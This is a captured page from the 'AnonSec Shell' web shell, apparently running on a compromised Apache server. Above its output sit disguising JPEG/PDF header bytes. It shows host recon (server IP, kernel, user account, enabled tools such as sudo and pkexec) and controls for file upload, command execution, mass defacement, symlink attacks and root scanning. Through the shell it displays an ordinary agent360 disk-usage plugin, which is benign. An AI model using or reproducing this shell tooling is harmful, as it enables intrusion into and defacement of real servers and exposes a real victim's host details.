ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.148   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/2717180/root/usr/local/lib/python3.6/site-packages/agent360/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2717180/root/usr/local/lib/python3.6/site-packages/agent360/plugins/diskusage.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import psutil
import plugins
import json


class Plugin(plugins.BasePlugin):
    __name__ = 'diskusage'


    def run(self, config):
        disk = {}
        disk['df-psutil'] = []

        for part in psutil.disk_partitions(False):
            valid_part = True
            ignored_partitions = ['/loop', '/snap', 'squashfs', 'cagefs-skeleton']
            
            for ignore in ignored_partitions:
                if ignore in part.device or ignore in part.mountpoint or ignore in part.fstype:
                   valid_part = False
            if valid_part == False:
                continue
            
            if os.name == 'nt':
                if 'cdrom' in part.opts or part.fstype == '':
                    # skip cd-rom drives with no disk in it; they may raise
                    # ENOENT, pop-up a Windows GUI error for a non-ready
                    # partition or just hang.
                    continue
            try:
                usage = psutil.disk_usage(part.mountpoint)
                diskdata = {}
                diskdata['info'] = part
                for key in usage._fields:
                    diskdata[key] = getattr(usage, key)
                disk['df-psutil'].append(diskdata)
            except:
                pass

        try:
            force_df = config.get('diskusage', 'force_df')
        except:
            force_df = 'no'

        if len(disk['df-psutil']) == 0 or force_df == 'yes':
            try:
                disk['df-psutil'] = []
                df_output_lines = [s.split() for s in os.popen("df -Pl").read().splitlines()]
                del df_output_lines[0]
                for row in df_output_lines:
                    if row[0] == 'tmpfs':
                        continue
                    disk['df-psutil'].append({'info': [row[0], row[5],'',''], 'total': int(row[1])*1024, 'used': int(row[2])*1024, 'free': int(row[3])*1024, 'percent': row[4][:-1]})
            except:
                pass

        try:
            zfs_stats = config.get('diskusage', 'zfs')
        except:
            zfs_stats = 'no'

        if zfs_stats == 'yes':
            try:
                lines = [s.split(', ') for s in os.popen("zfs list -Hp -t volume").read().splitlines()]
                for row in lines:
                    v = {}
                    v['vg_name'] = row[0]
                    v['vg_size'] = int(row[5][:-1])
                    v['vg_free'] = int(row[6][:-1])
                    v['vg_used'] = int(v['vg_size']-v['vg_free'])
                    v['vg_percentage'] = (v['vg_used']/float(v['vg_size']))*100
                    disk['df-psutil'].append({'info': [v['vg_name'], v['vg_name'], 'zfs', False], 'total': v['vg_size'], 'used': v['vg_used'], 'free': v['vg_free'], 'percent': v['vg_percentage']})
            except Exception as e:
                return e.message

        try:
            lvm_stats = config.get('diskusage', 'lvm')
        except:
            lvm_stats = 'no'


        # For LVM volume group monitoring, requires sudo access to vgs
        # add vgs to /etc/sudoers
        # agent360 ALL=(ALL) NOPASSWD: /usr/sbin/vgs
        # set lvm = yes right under enabled = yes in /etc/agent360.ini
        if lvm_stats == 'yes':
            try:
                lines = [s.split(', ') for s in os.popen("sudo vgs --all --units b --noheadings --separator ', '").read().splitlines()]
                for row in lines:
                    v = {}
                    v['vg_name'] = row[0]
                    v['vg_size'] = int(row[5][:-1])
                    v['vg_free'] = int(row[6][:-1])
                    v['vg_used'] = int(v['vg_size']-v['vg_free'])
                    v['vg_percentage'] = (v['vg_used']/float(v['vg_size']))*100
                    disk['df-psutil'].append({'info': [v['vg_name'], v['vg_name'], 'lvm', False], 'total': v['vg_size'], 'used': v['vg_used'], 'free': v['vg_free'], 'percent': v['vg_percentage']})
            except Exception as e:
                return e.message


        return disk


if __name__ == '__main__':
    Plugin().execute()

Anon7 - 2022
AnonSec Team